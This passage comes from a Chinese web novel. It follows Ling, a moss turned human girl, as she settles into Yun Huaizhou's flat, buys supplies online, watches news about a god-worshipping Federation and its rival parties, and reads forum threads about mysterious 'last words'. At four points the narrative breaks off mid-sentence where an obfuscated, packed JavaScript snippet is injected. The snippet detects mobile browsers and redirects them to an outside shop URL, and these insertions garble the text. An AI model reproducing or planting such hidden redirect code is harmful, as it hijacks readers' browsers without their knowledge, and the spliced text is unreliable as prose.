先开口的还是云怀舟:“这里是我家。” 零问:“那我要从你家出去吗?” 云怀舟立刻回:“我不是这个意思,我是说,我们已经回到核心城了。” 零其实对核心城没什么印象,也没什么感情,但是还是像个正常人一样表示一下好了,“那可真是太好了。” 云怀舟:“……” 云怀舟说:“如果不介意的话,就在我这里暂住吧,我还有一间空房。” 零没有关于大学生的常识,她问:“你不住在学校吗?” 云怀舟用很平常的语气说:“我和室友的关系不太好。” 面对云怀舟,零自己都没意识到自己又一个问题接着一个问题:“为什么呢?” 云怀舟也每次都会回答:“因为信。” 他很复杂地微笑,眼睛里全是零看不懂的情绪,“经过这个游戏,你应该也不喜欢神明了吧?很多人也是这么想的,我和他们聊不来。” 零反而觉得一直坚定信仰神明的云怀舟更奇怪,但是这个算是个人选择,零觉得还是要尊重,于是她没有继续追问。 结束了这个话题,云怀舟指引零到餐桌边的凳子上坐下,他打开灯,然后从卧室取出数据线给手机在餐桌边充上电,最后打开购物页面,他给零简单示范。 “你自己挑一下生活用品,买几套衣服,鞋子,洗护用品,崭新的毛巾和床单被套我这里有,如果你想要自己买也可以,不用客气,除此之外,如果你有其他喜欢的东西也可以直接下单,付款密码是949099,对了,不要忘记买拖鞋。” 云怀舟说完将手机交给零,“没有问题的话,我先去洗澡,你慢慢看。” 零从云怀舟手上接过手机,刚才他们离得很近,但是零竟然没有从云怀舟身上闻到雨林和潮池的腐臭味,他身上是淡淡的油墨味,还有血的铁锈味。 把注意力放回手机的购物页面,零差点被琳琅满目的商品晃花了眼,不知道是不是原主家境比较普通,零没有这么轻松地网上购物的印象。 人类的选择困难症真是可怕,连青苔都会沉沦其中。 不过在众多款式里,零还是比较倾向于休闲款的,她觉得这样穿起来会比较轻松自在,很有青苔本苔的风格。 白衬衫加墨绿色的针织开衫马甲,搭配上半身裙,看起来很不错,藏蓝色的叠穿的背心裙和连衣裙也很好看,纯色的T恤和阔腿裤不会有错。 顺着手指滑动,她的视线落到了一条多层花边长裙上,其实零对这种略显繁复华丽的裙子没有特别的爱好,可是…… 她感到眷恋。 这个词语明明很复杂,可是她一下子就想到了它,好像是身体在怀念什么,是原主的记忆吗? 既然云怀舟都说了不用客气,零决定把喜欢的东西都买了,反正自己什么都没有,欠一点是欠,欠很多也是欠。 只是零最终还是没有买这条很多层的裙子,她想不到穿它的场合。 收货地址是,核心城东二环未来路光明小区四栋十五楼五号,总金额是,两千四百四十五元,确认付款,输入密码,949099,付款成功。 弹出来一条信息:明日灿烂超级百货将在一小时内送货上门,谢谢惠顾,祝您明日灿烂! 真是洋溢着希望和憧憬的名字。 虽然零买东西并不客气,但是在付完款之后,她没有再看云怀舟的手机,这种很私人的东西,还是不要随便看好。 零打量云怀舟的住所,这里也将会成为她未来一段时间的住所。 她现在所在的位置是客厅,她坐在餐桌边的圆木凳上,前方是电视,身后是沙发,左侧是厨房,右侧是窗户。 零站起来,熟悉这里的环境,刚才云怀舟走进了电视背后的那间房间拿换洗衣物,看来那是他的卧室,零按照云怀舟走的路线看去,厨房的左侧是卫生间,那么云怀舟卧室旁边的那间应该就是他所说的空房。 在厨卫与两间卧室中间的通道,尽头是大门。 很简单的构造,零确认了这些基本信息后,她来到客厅的窗户边,推开窗,她看到繁华与梦幻的大都市。 为什么要用梦幻形容呢? 零实在是没有见过这么丰富多彩的城市楼房颜色,不是霓虹,而是高楼本身颜色丰富,一眼看过去简直花了眼,仔细看就会发现,红橙黄绿青蓝紫什么颜色都有。 在黄昏逐渐暗淡的天光下,这些颜色失去了一些饱和度和清晰度,逐渐变成了一片片朦胧的,带着光晕的色块。 所以零认为这是一个梦幻的城市,就和未来光明明日灿烂这些名字一样,这座城市简直把自己对美好的追求刻在了每一平米的空间。 连呼吸都是希望的味道。 人类还真是有意思,零撑在窗框上,看着这座城市发呆。 “咚咚咚。” 有人在敲门,应该是明日灿烂超级百货的送货人来了,这也太快了吧。 零从窗户边离开,她甩了甩有点发麻的手臂,来到门口开了门。 “您好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127675|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这里是明日灿烂超级百货……啊啊啊啊!” 送货人就像看见鬼一样,吓得腿一软往后靠在墙上,零感觉他如果腿有劲的话可能已经跑到楼下了。 零最开始还没意识到他为什么这么大反应,顺着他的视线零看了看自己,她一下子就明白了,自己身上全是血,说不定脸上都还有血,这一看就是杀人犯的样子。 “我没有……”零张了张口,却发现自己不知道怎么解释。 说自己没有杀人,杀人犯会承认自己杀人吗? 左侧浴室的门突然打开了,云怀舟出来得很急,他头发都还没有擦干,披散的长发还淅淅沥沥地滴着水。 云怀舟来到门口,他歉笑着扶起送货人:“不好意思,这是角色扮演,她还没来得及换装梳洗。” 送货人看见云怀舟一副刚洗了澡的样子,对他的说法已经相信了八九分,他擦了擦额头的汗,“早说嘛,你女朋友好冷漠哦,也不解释一下。” 云怀舟尴尬地解释:“你误会了,我们只是朋友。” 送货人抿着嘴笑了起来,眼睛里仿佛有光,完全是一副磕到了的表情,虽然当事人并不知道哪里能磕。 “那您就是云先生本人吧,麻烦您签收一下。” 云怀舟以最快的速度完成了签收。 送货人临走前还握拳说了句:“加油,兄弟!祝你们明日灿烂!” 他真的很致力于鼓励云怀舟追求身边人,云怀舟头皮都要发麻了,他把东西搬进室内,立刻将门关上。 “抱歉,希望你不要生气。”云怀舟小心翼翼地观察零的表情,生怕她生气了。 零还停留在上一个话题,“什么是角色扮演?” 云怀舟暗暗舒了口气,他解释说:“有种兴趣爱好就是扮演你喜欢的角色,比如一些动漫里的热门角色,拿这个解释,人们比较好接受。” 零点了点,开始第二个话题:“你说我们是朋友。” 云怀舟说:“是的,我认为是,那么你呢?” 零咬了咬右手食指的关节,她先是区分了一下同伴和朋友,然后确认了愿意收留她还给她花钱的云怀舟能算得上朋友,就在云怀舟想要转移这个令人尴尬的话题时,零回答了。 “你是我的朋友。” 零伸手:“朋友,你好。” 云怀舟失笑,他握上了零的手,“朋友,你好。” 零看着云怀舟的长发还在滴水,她提醒说:“快擦头发。” 云怀舟取了根毛巾接着擦起来,在他转身的时候,零看见他的浅灰色开衫腰间部分因为沾水变成了深灰色。 零洗了手,然后打开了自己的快递包装,云怀舟带着零去了她的卧室,里面很空旷,床也没有铺,但是很干净,一尘不染。 他将衣柜打开,让零先把东西放好,接着又带零去洗浴间,他没有问零需不需要介绍,直接主动示范了一遍各种设备的用法,然后陪着零调好了水温,确认零没有问题了才出去。 走出浴室,云怀舟突然想起什么,他问:“你想吃什么?或者说,你有忌口的吗?” 零想了想说:“我想吃冷的。” 云怀舟若有所思地离开了。 16. 联邦新闻 一般来说,女生洗澡的水温会比男生更高,这和许多因素有关,比如花洒到人体的距离,但是零选择的水温比云怀舟洗澡的水温还低。 青苔如果用温度高的水洗澡,会不会被烫熟? 总之零更喜欢偏低的水温,她就算淋雨也不会感冒,阴冷潮湿的环境最适合她生长了。 云怀舟并没有对她选择的水温说什么,这很好,她不用找理由解释了。 零脱掉了身上带血的脏污衣衫,短短的一天半,她的经历可谓是相当丰富,从这身衣服的污损程度就能看出来,也不怪送货人那么害怕了。 零一边淋浴,一边思考青苔生。 为什么她会被传送到云怀舟的家里?她明明就要答应林隐了。而且早不传送,晚不传送,偏偏是那个时候,零都要怀疑是不是游戏故意的了。 不过也无所谓,和林隐走也好,住在云怀舟家里也好,这两个选择都是好选择,这是她最信任的两个人,她真的是很幸运的小青苔。 以后又要怎么办呢? 她不想和原主人扯上关系,可是就这么一直蹭在云怀舟家里也不太好,她也没有赚钱的能力,如果实在不行了,她也加入调查社吧。 仗着自己和社长比较熟,直接去调查社工作,培训一下,以后就去墙外闯荡得了。 虽然水温并不高,但水汽还是弥漫上了镜面。 零伸手擦了擦镜子,镜子上清晰地映照出她的脸,她看起来就比较内向,脸蛋很文雅秀气,头发是及肩短发,还有一些刘海,很符合她对高中女生的刻板印象。 零凑近了镜子,她仔细地观察了这双眼睛,是纯黑色的,林隐真的是在开玩笑。 不过不知道是不是林隐的话给她留下了太深的印象,她总觉得这黑色有点泛绿,但是就算是绿色也能理解,她是青苔,青苔不是绿色是什么颜色?黑色吗? “……”好像还真有黑色的。 零穿上自己买的睡衣裤,是绿色的套装,上面还有一些卡通水果图案,虽然很幼稚,但是零莫名地喜欢。 她从浴室出去,看见云怀舟正从厨房端菜出来。 暖色调的灯光打在他的身上,简单的房间却充满了生活的气息。 云怀舟已经布置好了一切,他说:“你先坐吧,我开电视,有声音伴着会更好,正好现在是七点,可以看联邦新闻。” 零坐在了最初坐过的位置,这里正对着电视,不远处传来电视的声音,她看了看桌上的菜,凉拌黄瓜,凉拌茄子,鸡丝凉面,还有黑米粥。 云怀舟坐到右侧那边,他正在调电视频道,顺便说道:“全吃凉的也不太好,我煮了点黑米粥,你喜欢甜口吗?我在里面加了一点糖,不多,稍微有点甜味。” 零先从最简单的工具勺子开始使用,她尝了一口黑米粥,果然有着淡淡的甜味,如果是青苔她可能并不在意,但是作为人类完全抵抗不了糖分的诱惑。 零:“下次可以再多放点。” 云怀舟笑了,“好的,有其他的需求都可以提。” 人类的朋友都是这么体贴好心的吗?交朋友真是一件好事。 非常典型的新闻配乐响起,零抬头看向电视。 云怀舟说:“刚好赶上。” 伴随着悠扬又恢宏的音乐,电视屏幕上最先出现的是联邦的徽记,接着一位穿着得体,仪态无可挑剔的主播出现在画面中央,她的声音温暖又富有力量感。 “观众朋友们晚上好,现在是公元新历2070年5月3日,晚间七点整,欢迎您收看联邦新闻,我们将为您梳理过去二十四小时的最新时讯,回顾过往,展望未来,联邦新闻与您同在。” 零埋下了头,她把注意力放在了如何自然流畅地使用筷子上。 接下来的时间里,零始终专注吃饭,云怀舟问:“你不喜欢看新闻吗?” 零实话实说:“好像是有点无聊。” “联邦第一大学文祥秀教授近期转变研究方向,她曾是《遗忘症候群》的提出者,多年钻研人类遗忘的历史,是该领域最权威的专家,如今文教授放弃多年心血,投身于当代史方向,她是如何考量的呢?以下是本台记者的采访记录。” 零听到这个名字来了兴趣,她重新抬起头,“这是你的导师吗?” 云怀舟也有点惊讶,他没想到今天会在电视上看见自己导师,他说:“是的,她就是我的导师文教授。” 屏幕中间的是一个穿着一丝不苟的老年女性,她的两鬓已经斑白,头上也有很多白发,但是精神分外抖擞,她正坐在书桌前接受采访,手边的都是研究资料。 零感觉这个文教授看起来好严厉,她给人一种一旦你说错话就会被她一记眼刀割伤的感觉。 “很遗憾,人类已经没有了历史。”她用冰冷的声音给出这个结论。 零问云怀舟:“这是可以播出的内容吗?” 在她的印象里,新闻频道应该不适合播出这么负面的消息,而且这个城市看起来是多么追求希望。 云怀舟已经料到了后面的内容,他说:“你接着看。” 果然,文祥秀教授继续说:“但是我们还有现在和未来。忘记了历史并没有那么可怕,因为人活在当下,生命会凭着本能延续。我想这也是神所希望的,祂会庇佑我们,过去,现在,未来。” 零的表情从原来这样到眉头忍不住皱起,这种感觉太违和了,当一个象征着科学的专家教授一脸虔诚地说起神明信仰,这代表什么? 这代表神的存在是科学的。 零用一个很讨巧的方式问云怀舟:“神明现在在哪里?” 云怀舟现在完全是一副信徒传教的气质,他说:“祂在任何地方,在最远的距离之外,也在我们中间。” 零看了看自己和云怀舟中间的位置,是桌角…… 神明等于桌角。 零刚这样想完就埋头喝粥,她觉得自己有点过分了,虽然云怀舟不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127676|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能听见她的心声,但是她自己都觉得自己很冒犯,云怀舟是多么虔诚的信者,她以后一定要克制。 “第十二届联邦统筹局总理换届大会已经接近尾声,人民党和共生党的支持率基本持平,屏幕前的观众朋友们,你们把自己宝贵的选票投给了哪一方呢?让我们来采访一下路过的公民朋友们。” 零又抬起了头,这个好像也有点意思。 电视台的记者正在说词,他的身后是多彩的建筑,整个街道都是五彩缤纷的,有一道年轻的女声传来:“采访我!采访我!” 记者带着笑说完词,然后他来到这位女生身边,镜头也给到了这个主动争取采访资格的女生,零看着她洋溢着青春气息的脸,心里感到了一见如故的情绪。 记者提问:“这位同学你好,刚才就听到你特别积极地想要接受访问,那么请问,你把自己的选票投给了哪个党派呢?” 他将话筒举到了这位女生的面前。 年轻女孩把记者的话筒直接夺到自己手里,反客为主。 “亲爱的观众朋友们,大家晚上好!请记住,我的名字叫梅乐寒!我今年十七岁,正在读高中三年级,所以还没有资格参与本届选举投票,但是在五年后的第十三届换届选举中,我将要竞选联邦总理!” 她的笑容格外热情且具有感染力,她骄傲地说:“我的政治主张是:全人类平等!我将要为了所有人类而战!请大家记住我,并且在五年后的选举大会中投票支持我!非常感谢!” 零被这个女孩的发言震惊到了,屏幕里的记者显然也是。 记者尽力地保持自己的表情端庄,他尝试把话筒抢回来,但是梅乐寒握得死死的。 于是记者尴尬但不失礼貌地微笑提问:“那么请问梅同学,你将来要加入哪个党派呢?” 零竟然从梅乐寒身上看到了一种久坐高位的领导人气质,只见她微笑地看着记者提问,听完后微微点头,然后转过来直面镜头侃侃而谈。 “我是无党派人士,我讨厌人为划分的党派,请大家记住,我叫梅乐寒!我的政治主张是,全人类平等!我要为了全体人类而战!请大家和我一起同行!” 记者这次使出全力把话筒夺了回来,他没有直接表露嘲讽,而是笑着说:“与全人类为伍也就是与全人类为敌,希望这位同学能够早点长大,明白这个道理。好了,让我们忘记这个不和谐的小插曲,继续采访下一位公民朋友吧!” 零还记得林隐问她,她是新党还是旧党,她问云怀舟:“人民党和共生党的区别是什么呢?” 云怀舟介绍说:“共生党主张信仰神明,人类与神明共生,而人民党主张摆脱神明,人类自主。根据文教授的调查研究,最初人类应该是一党制,在人民党诞生之后才有了新党旧党的简称。” 云怀舟讲得很清晰,零立刻就理解了这两者的区别。 而且零也不难猜出,云怀舟肯定就是旧党支持者,而林隐是新党支持者。 17. 28 零再次感到人类的复杂性,什么党派之类的,她不是那么感兴趣,她对神也不是很感兴趣,如果不是被莫名其妙地卷入这个游戏,她可能听了就忘了。 现在她最信任的两个人,一个旧党一个新党,她夹在中间,干脆加入梅乐寒好了。 不过,一个无党派人士组成的集团,会不会也算是一个党派呢? 零把碗里的粥喝完了,感觉还是有点饿,她看了看空空的碗又看了看云怀舟,云怀舟注意到来自零的视线,他看了看零又看了看她的碗,没忍住笑意。 “你直接叫我就是了,怎么突然这么客气?” 零说:“云怀舟,我还想要一碗。” 云怀舟问:“确定是一碗不是半碗?” 零点头:“不会浪费的。” 云怀舟起身到厨房给她盛粥,他说:“这也算是对我厨艺的认可吧?” 零这种直白之人的赞美可信度非常高:“是的,简直完美!” 她接着吃晚饭,电视里的新闻还在播放,记者又采访了几个路人,有的支持新党,有的支持旧党,这部分没什么独特的,他们的回答远没有梅乐寒的有意思。 这个环节过后,画面转回了演播厅,主播发言:“观众朋友们,现在紧急插播一条新闻,由墙外研究领头人陆守渊教授领导进行的十三号烟花雨林特别调查活动有了关键性的进展,但非常不幸的是,陆教授和两名资深调查员因此牺牲,让我们为他们默哀。 “目前在十三号烟花雨林发现的新物种多达十七种,其中包括林鬼等各类动物,以及雨停蘑菇等各类植物,最值得注意的是,物种与异常调查社社长林隐为新物种白色长毛鹿命名为守渊,这其中究竟发生了什么故事,这次命名蕴含着什么寓意,感兴趣的朋友们也请继续关注支持调查社的未来活动。 “最后物种与异常调查社提醒自发出墙探索的朋友们,近期有高威胁度污染出现,请暂停活动,等待通知。” 在潮池群附近的经历太过惊险,以至于零一直没有时间和精力回忆之前发生的事。现在看来,当初他们对陆教授的行为都有了误解。 零说:“鹿和教授是在保护我们。” 云怀舟分析:“陆教授中途有过一段时间看似恢复了正常,但那个时候反而是他因为污染失去意识的时候。之后他在短暂的清醒中选择了自我了断,和自身的污染同归于尽。” 零:“他应该是在被污染的时候知道了胚珠有问题,所以不想让我们伤害鹿,不想让我们离开,他和鹿做了一样的事。” 云怀舟点头继续说:“鹿群最初守候在地下,应该就是在看守污染物,确保它在低温环境沉眠。” 说到这里零的情绪也低沉了起来:“这就是林隐将陆教授的名字给予鹿的原因吧。” 他们都是守护者,有鹿守在浅渊,有人守在身边。 零突然意识到什么,“这个游戏让我们给所有的休眠胚珠带去生命,是不是就是为了让污染物成长?” 接下来的话零想了想没说出口,这个游戏名为献给神明的游戏,如果做这种事能够取悦神明,那神明好像不是很正派…… 云怀舟叹了口气,他其实能猜到零在想什么,“但是,世界上真的有这么神奇的鹿能自发察觉污染并且长年看守吗?” 云怀舟这是什么意思?难道他是指鹿是神明安排的? 零尝试转变思路:“所以创造这个游戏的人是坏人,而被动接受游戏取悦的神明是好人吗?如果是这样的话,游戏举办方不是借助神明的力量,而是想办法掌控了污染,以此让几十平方公里的平地变成雨林,让我们瞬间移动,并拥有了奇异的能力。” 说完零都懵了,到底是什么级别的污染能够做到这种程度? 能做到这种程度的污染是人能掌控的吗? 而且如果神是好人,这样做真的能“取悦”祂吗?难道不是取悦是挑衅?零在脑海里已经走了很远。 云怀舟看她想得出神,也没有打断她,而是默默起身收拾碗筷,洗碗去了。 零从自己的世界里出来,她跟到了厨房,看见正在洗碗的云怀舟,她说:“我也来加入吧。” 云怀舟婉拒了她:“已经快好了,不过谢谢你的好意。” 零问:“我真的可以什么都不做就住在你家吗?” 云怀舟的答案是可以。 零不能理解:“为什么对我这么好呢?” 她想象了一下,如果自己现在和林隐住在一起,林隐可能不会对她这么好,应该会安排她多少做些事。 云怀舟却说:“我们不是朋友吗?” 成为朋友就要有这样做的觉悟吗?零觉得自己以后交朋友要慎重一点了,她不要轻易给别人许下这样的承诺,感觉压力有点大。 洗了碗之后云怀舟把电视的遥控器交给零,他让零自己找感兴趣的频道看,然后就去洗衣服了。 零看着他的背影,又看了看自己手中的遥控器,她觉得自己心里稍微有点不踏实,然后不踏实地躺到了沙发上调台。 虽然心里不踏实,但是身体很爽快。 比起新闻,她还是更喜欢动画片,有个频道正在播放一只小马的故事。 “祝看到这里的大小朋友们马到成功,马上有好运,马上发大财!” 零就在这种暖洋洋的氛围中睡着了。 “零,先醒醒,到床上去睡。” 零很想不管这道声音,但是身体本能地就睁开了眼,然后听从云怀舟的话往卧室走。 在她睡着的时候,或者更早,云怀舟已经将她的床铺好了,零钻进了被窝,迷迷糊糊地说:“晚安。” 云怀舟为她关上了灯,轻声说:“晚安。” 如果没有游戏,只是过着这样平淡庸俗的生活,该多么好。 零被视线里的猩红数字28惊醒了,她上一秒还在梦里,这个数字竟然就跟着她也进入了梦里,于是她睁开了眼。 四周是黑色的,但不是所有光都被驱逐的黑,她能隐约看到事物的轮廓,头顶的吊灯,墙边的衣柜,遮挡阳台的窗帘,自己伸出的手。 零从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127677|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上起身,她走出自己的房间,看见隔壁的卧室门下有光透出来。 云怀舟还没睡吗? 零敲了敲门,这次听见了清脆的声音。 几秒不到,“咔”的一声门开了,这门并没有锁,但是云怀舟过来给她开门了。 “零,怎么了?” 零问:“你有看到数字28吗?” 云怀舟点头,“我也看到了,现在是凌晨零点,结合上次29来看,应该是倒计时。不过这些可以明天再说,我送你回去休息吧。” 零已经没有了睡意,“我现在不太想睡,你在做什么?为什么还没有睡?” 云怀舟邀请说:“我在修改毕业论文,既然不想睡觉,不介意的话,过来我这边吧,我可以陪你说说话。” 他侧身让开了通向他房间的道路,暖暖的灯光让他的身子一半明一半暗,零接受了他的邀请,走进了云怀舟的卧室。 干净整洁,空气中都是淡淡的油墨味,只有他的书桌略显凌乱,他的电脑显示屏上是他的论文,桌上有很多纸质书籍和打印的文档材料,最深处还有一个相框。 云怀舟问:“你想坐凳子还是坐在床上?” 零感觉他要出去给她搬凳子进来,为了不麻烦他,于是零说:“我想坐在床上。” 令她没想到的是,云怀舟让她等一下,他的确没有去搬凳子了,但是他从衣柜里取出来一张新的床单,铺到了床上后才请她坐下。 零知道云怀舟没有嫌弃自己,他是为了表达自己的礼貌。 这个男人真是礼貌得有点过分了。 不过不得不说,云怀舟很好地激发了零的人性学习。短短的几秒钟,零想到了许多,为了不浪费云怀舟的心意那就坐下吧,不过这样会不会显得自己内心在介意他,我们不是朋友吗为什么这么客气?如果我掀开床单万一他真的会介意呢? 做人真的好难。 短暂的宕机之后,零指了指床单直接问:“你有洁癖吗?” 云怀舟回答得很快:“没有,我是担心你介意。” 零把床单抽了起来,“我不介意,而且我觉得这不符合朋友的关系,我印象中朋友是会挤在一个被窝一起玩的。” 云怀舟:那这个还是不太方便…… 云怀舟把床单叠好放回柜子,他再次坐到书桌前,零就坐在床尾,离云怀舟很近的距离,她看见桌上打开的书籍和文档上面,很多字都变成了一团墨迹或者一串乱码。 她想到了文教授那句,“人类已经没有了历史。” “这就是遗忘症候群吗?” 云怀舟说:“的确是表现形式之一,准确来说应该是人脑的记忆出现缺失,现实的文字图片变得不可识读。” 零问:“那你怎么写文章呢?” 云怀舟给零展示可以识读的部分,“总是有蛛丝马迹的,而且无法识读本身就值得研究。” 零对这种学术精神感到尊敬。 白天参加游戏死里逃生,晚上回来熬夜修改毕业论文,云怀舟简直是个超人。 18. 希望论坛 一想到云怀舟这么辛苦,零有点不好意思继续打扰他了,“云怀舟,你陪我聊天会影响你改论文吧?” 这句话从零的嘴里说出来,云怀舟有点惊讶,他的声音变得更加柔和了:“没事的,我现在在修订格式,分心聊天没什么影响。” 他的手指还在鼠标上滑动,但是和零说话一秒钟也没有延迟。 突然云怀舟像是想到了什么,他停下手中的任务,拿起桌边的手机开了锁,他将手机递给零,说:“和我聊天应该也没什么意思,你可以玩我的手机,下载游戏或者看小说都可以。” 零再次拥有了这个手机的使用权。 果然,手机不仅对人类的吸引力是致命的,对青苔也是,零拿起了手机后完全忘记了和云怀舟说话。 上面有很多彩色小方格,根据人类的常识,零知道这是软件。每一个都是陌生的,每一个都充满了魔力,零像开盲盒一样点开了一个红色的小方格,她开出了“新时代音乐”。 最下面显示的是云怀舟上一次在听的歌,零点了中间的继续播放。 热烈激昂到嘈杂的陌生语言立刻冲出手机占领了整个卧室——云怀舟上一次在听的是小语种摇滚。 零愣住了,以至于忘记暂停音乐或者调小音量。 云怀舟喜欢听这种歌吗?好像和她想象的不一样…… 最后是云怀舟自己尴尬地把歌曲暂停了,“你可以选自己喜欢的,音量不要太大就好,会吵到周边的居民。” 零把音量调小,她好奇地问:“你喜欢这种风格吗?” 云怀舟说:“听得比较少,心情不太好的时候会听一听,就像是有人代替自己在宣泄。” 所以云怀舟上一次听歌的时候心情不好,他也会心情不好吗?零目前接触到的云怀舟总是温柔沉稳,感觉对什么事都可以做到游刃有余。 不知道发生了什么会让这样的一个人想要宣泄。 零点开了云怀舟的歌单,有一个歌单是纯音乐合集,零播放了这个,是舒缓宁静的风格,很适合云怀舟,也适合现在的场景。 当零想要退出这个软件的时候,左上角弹出了一个红点。 零依次点了进去,是评论点赞。 “这首歌总让我想到小时候和爷爷在一起的时光,他教我折纸飞机,我们比试谁飞得更远……爷爷,多来我的梦里见见我吧。” 零呼吸一滞,文字,文字承载的情绪太重。 她忍不住把视线从手机移到桌角的相框上,台灯照亮了书桌一整片区域,也把照片映照得格外清晰,上面是一个中老年的男人带着一个小男孩,他们坐在草坪上,背后的建筑群是纯白的,完全不是这个城市的风格。 照片上的云怀舟还是短发,没有戴眼镜,看起来也要活泼一些。 零又看了看云怀舟,他和小时候比变化很大,看起来已经是个成熟稳重的大人了。就这样打量云怀舟的脸,还能看到他眼睛下的乌青色,他其实很疲惫吧? 最后零默默退出了这个软件,她没有打扰云怀舟学习,也没有揭开他的过往,这件事就埋在她的心底,当做她的一个秘密好了。 下一个选谁好呢? 就选这个天蓝色的软件吧!除了充满希望的蓝色,它的名字本身就带着希望,“希望论坛”。 零想看看,这个论坛到底多有希望。 点开软件,比内容更先弹出来的是广告,很好,这充满了广告商的希望。 零倒是不介意广告,她现在对什么都觉得新奇,就连广告都认认真真看完了,还没有回过神,软件已经跳转到真正的内容界面,一长串的红色“爆”字一下子就吸引了零的目光。 《全网最全!所有“角色”和“遗言”整理,持续更新中》 《举火者究竟是谁?三个遗言意味着什么?从我的经历出发讲举火者》 《真实发生还是集体催眠?污染究竟多可怕》 《我说是游戏降临你们都不信》 《联邦新闻为何不播报,高层究竟知道多少》 《梅乐寒是谁?深扒她的家世竟然恐怖如斯》 《陆教授的死亡或与遗言事件有关》 …… 关于#遗言这个话题的总浏览量已经破亿,参与人数也有几十万,哪怕是现在,已经凌晨了,每秒都还有新的帖子发布。 零的第一反应是发懵,为什么所有人都知道这个了?难道是幸存的人透露了信息吗?可是她觉得陈玲和林隐都不像会这么做的人,云怀舟更不必说。 粗略看下来,他们知道的内容很有限,整体围绕“遗言”展开,而不是真正的关键词“游戏”,零想到一个可能,遗言不只是玩家能听到,普通人也能听到。 虽然零知道这件事背后的真相,但是看见网友们的热情讨论,她还是觉得很有趣。 点开热度最高的帖子,《全网最全!所有“角色”和“遗言”整理,持续更新中》,发帖人叫【吃瓜请带上我】。 五月二日零的遗言首次出现时,他就在第一时间发了帖,后续也更新整理了全部的情报,他用表格把几个角色的代号和遗言清晰地罗列了出来,还细致地标注了时间,方便网友完整地了解全部信息。 零看到自己就排在第一个,后面分别是举火者,铭记者,祝福明日者。 热评一: 【看到我请喊我复习】:感谢楼主,十级耳残选手终于知道具体内容了[大哭] 【一只三花】:咪路过,提醒人复习 【看到我请喊我复习】回复【一只三花】:好可爱的小猫,摸摸 【邪恶风车车】回复【一只三花】:摸摸 【真的饿了】回复【一只三花】:想吃小猫 【番茄炒蛋】:楼上发言和id结合得很好 【真的饿了】回复【番茄炒蛋】:番茄炒蛋也想吃 …… 零:好像是和正文无关的对话,但是她竟然看完了几十楼…… 热评二: 【深渊】:这是什么最新的行为艺术吗?还是说社会性实验?感觉我们成为了被观察的样本,说不定过几天科研所就会发通知宣布最新的社会调查已完成,感谢全体公民的配合。 【蜻蜓-心理】:层主的脑洞也挺大的,不过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127678|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确不能排除这种可能。顺便借楼宣传一下我的线上诊所,有倾听咨询需要的来访者欢迎关注。 【不是哥们】:要是这样的话好无聊啊,无趣的生活一眼望得到尽头 【打工人45号】:楼上还是过得太好了,建议去西部挖矿 【不是哥们】回复【打工人45号】:不要诅咒我,三十七度的嘴怎么说出这么冰冷的话的[捂嘴] 【神爱世人】:疑似有人歧视资源开采工作,已举报 【打工人45号】回复【神爱世人】:? 【不是哥们】回复【神爱世人】:? 【我逐渐明白一切】:看到有人打广告,我突然领悟了商机,有意合伙的私信我 零:看完好像忘记这帖子最先是在讲什么了。 热评三: 【零】:一觉醒来多了好多关注和私信,原来是因为这个 零:好巧。 【零】:拜托不要关注我了,我只是个素人,和这次的事件没有任何关系! 【半熟不熟】:层主快讲讲你吃了什么果实[吃瓜] 【小萌新】:哇是正主,已关注 【零】回复【小萌新】:麻烦看看评论内容好吗好的 【我的忧伤】:那你改个网名不就得了,不改直接当做引流处理 【零】回复【我的忧伤】:不要对别人的网名有太强的占有欲好吗?我已经用了六年了,凭什么你说改就改,我比这个零更早好吗?!要改也是他改!!! 零:好的,我改…… 热评四: 【爱好学习李同学】:这个帖子下面怎么全是没有营养的回复,我想看的不是这个[失望] 【不是哥们】:别太把自己当回事 【真的有外星人】:点了,我想看更专业的分析,明明这个帖子热度最大,评论全在划水 【弋】:[链接]你应该去看这个分析帖,这里人太多了,很容易跑题 【爱好学习李同学】回复【弋】:感谢指路,我的朋友 